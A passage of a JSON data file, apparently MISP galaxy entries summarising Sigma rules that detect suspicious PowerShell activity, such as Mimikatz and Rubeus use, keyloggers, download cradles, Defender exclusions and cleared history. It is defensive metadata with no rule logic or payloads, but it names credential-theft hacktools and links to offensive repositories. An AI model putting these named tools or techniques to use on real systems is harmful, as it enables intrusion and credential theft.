          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4",
      "value": "Potential Invoke-Mimikatz PowerShell Script"
    },
    {
      "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/21",
        "falsepositive": [
          "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes"
        ],
        "filename": "posh_ps_susp_follina_execution.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Msdt/",
          "https://twitter.com/nas_bench/status/1537919885031772161",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153",
      "value": "Troubleshooting Pack Cmdlet Execution"
    },
    {
      "description": "Detects usage of the \"Get-AdComputer\" to enumerate Computers or properties within Active Directory.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_get_adcomputer.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1087.002/T1087.002.md",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
          "https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adcomputer",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adcomputer.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1018",
          "attack.t1087.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138",
      "value": "Active Directory Computers Enumeration With Get-AdComputer"
    },
    {
      "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/16",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "posh_ps_software_discovery.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/harleyQu1nn/AggressorScripts",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1518"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282",
      "value": "Detected Windows Software Discovery - PowerShell"
    },
    {
      "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0",
      "value": "Invoke-Obfuscation Via Use Clip - Powershell"
    },
    {
      "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_networkcredential.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1110.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f",
      "value": "Suspicious Connection to Remote Account"
    },
    {
      "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/01",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_mount_diskimage.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image",
          "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819",
      "value": "Suspicious Mount-DiskImage"
    },
    {
      "description": "Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Perez Diego (@darkquassar), Tuan Le (NCSGroup)",
        "creation_date": "2019/02/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_keywords.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1",
          "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1",
          "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462",
          "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf",
      "value": "Potential Suspicious PowerShell Keywords"
    },
    {
      "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_recon_export.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1119"
        ]
      },
      "related": [
        {
          "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3",
      "value": "Recon Information for Export with PowerShell"
    },
    {
      "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/09/10",
        "falsepositive": [
          "Legitimate usage of the features listed in the rule."
        ],
        "filename": "posh_ps_enable_susp_windows_optional_feature.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps",
          "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system",
          "https://learn.microsoft.com/en-us/windows/wsl/install-on-server",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_susp_windows_optional_feature.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "55c925c1-7195-426b-a136-a9396800e29b",
      "value": "Potential Suspicious Windows Feature Enabled"
    },
    {
      "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy",
          "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1201"
        ]
      },
      "related": [
        {
          "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82",
      "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy"
    },
    {
      "description": "Powershell use PassThru option to start in background",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/15",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
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        "falsepositive": [
          "Unknown"
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        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group",
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      "meta": {
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        "creation_date": "2020/10/08",
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        "level": "medium",
        "logsource.category": "ps_script",
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          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md",
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        "falsepositive": [
          "Unknown"
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          "Unknown"
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        "filename": "posh_ps_shellcode_b64.yml",
        "level": "high",
        "logsource.category": "ps_script",
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        "refs": [
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      },
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          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
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          "type": "related-to"
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      "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd",
      "value": "PowerShell ShellCode"
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      "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_local_group_reco.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml"
        ],
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          "attack.t1069.001"
        ]
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        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
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      "value": "Suspicious Get Local Groups Information - PowerShell"
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      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_zip_compress.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml"
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          "attack.collection",
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        {
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      "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9",
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      "description": "Detects PowerShell scripts that contains reference to keystroke capturing functions",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_keylogger_activity.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/dotnet/api/system.windows.input.keyboard.iskeydown?view=windowsdesktop-7.0",
          "https://twitter.com/ScumBots/status/1610626724257046529",
          "https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bcc28a4f456e200486dbd401b25af6da3b4da62/content",
          "https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9c81655093be93876e0d80732e7eeaf7d83476/content",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml"
        ],
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        "logsource.category": "ps_script",
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        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process",
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        ],
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          "attack.discovery",
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          "tags": [
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      "value": "Suspicious Process Discovery With Get-Process"
    },
    {
      "description": "Detects keywords that could indicate clearing PowerShell history",
      "meta": {
        "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2022/01/25",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_clear_powershell_history.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml"
        ],
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          "attack.defense_evasion",
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        ]
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        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
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      "value": "Clear PowerShell History - PowerShell"
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      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_get_adgroup.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md",
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        "author": "frack113",
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        "logsource.category": "ps_script",
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        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57",
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      ],
      "uuid": "3c7d1587-3b13-439f-9941-7d14313dbdfe",
      "value": "Potential COM Objects Download Cradles Usage - PS Script"
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      "meta": {
        "author": "Daniil Yugoslavskiy, oscd.community",
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          "Legitimate usage of PowerShell Dnscat2 — DNS Exfiltration tool (unlikely)"
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          "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1",
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          "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1",
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          "https://github.com/DarkCoderSc/PowerRunAsSystem/",
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          "https://github.com/HarmJ0y/DAMP",
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          "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1",
          "https://adsecurity.org/?p=2921",
          "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/",
          "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1",
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    {
      "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER",
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        "creation_date": "2020/10/13",
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        "logsource.category": "ps_script",
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          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "e54f5149-6ba3-49cf-b153-070d24679126",
      "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell"
    },
    {
      "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/11/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_clearing_windows_console_history.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.shellhacks.com/clear-history-powershell/",
          "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/",
          "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml"
        ],
        "tags": [
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          "attack.t1070",
          "attack.t1070.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7",
      "value": "Clearing Windows Console History"
    },
    {
      "description": "Detects the execution of the hacktool Rubeus using specific command line flags",
      "meta": {
        "author": "Christian Burkard (Nextron Systems), Florian Roth (Nextron Systems)",
        "creation_date": "2023/04/27",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "posh_ps_hktl_rubeus.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/GhostPack/Rubeus",
          "https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus",
          "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hktl_rubeus.yml"
        ],
        "tags": [
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          "attack.t1003",
          "attack.t1558.003",
          "attack.lateral_movement",
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      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3245cd30-e015-40ff-a31d-5cadd5f377ec",
      "value": "HackTool - Rubeus Execution - ScriptBlock"
    },
    {
      "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/19",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_xml_iex.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_xml_iex.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6c6c6282-7671-4fe9-a0ce-a2dcebdc342b",
      "value": "Powershell XML Execute Command"
    },
    {
      "description": "Detects suspicious PowerShell invocation command parameters",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_invocation_specific.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71",
      "value": "Suspicious PowerShell Invocations - Specific"
    },
    {
      "description": "Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_win_defender_exclusions_added.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/windows-defender-exclusions-added-via-powershell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win_defender_exclusions_added.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562",
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c1344fa2-323b-4d2e-9176-84b4d4821c88",
      "value": "Windows Defender Exclusions Added - PowerShell"
    },
    {
      "description": "Detect use of X509Enrollment",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_x509enrollment.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42",
          "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115",
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_x509enrollment.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "504d63cb-0dba-4d02-8531-e72981aace2c",
      "value": "Suspicious X509Enrollment - Ps Script"
    },
    {
      "description": "Detects Commandlet names and arguments from the Nishang exploitation framework",
      "meta": {
        "author": "Alec Costello",
        "creation_date": "2019/05/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_nishang_malicious_commandlets.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/samratashok/nishang",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0",
      "value": "Malicious Nishang PowerShell Commandlets"
    },
    {
      "description": "Detects suspicious Powershell code that execute COM Objects",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/02",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_gettypefromclsid.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.015"
        ]
      },
      "related": [
        {
          "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
          "tags": [
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437",
      "value": "Suspicious GetTypeFromCLSID ShellExecute"
    },
    {
      "description": "Detects parameters used by WMImplant",
      "meta": {
        "author": "NVISO",
        "creation_date": "2020/03/26",
        "falsepositive": [
          "Administrative scripts that use the same keywords."
        ],
        "filename": "posh_ps_wmimplant.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/FortyNorthSecurity/WMImplant",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmimplant.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047",
          "attack.t1059.001"
        ]
      },
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        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8028c2c3-e25a-46e3-827f-bbb5abf181d7",
      "value": "WMImplant Hack Tool"
    },
    {
      "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n",
      "meta": {
        "author": "frack113",
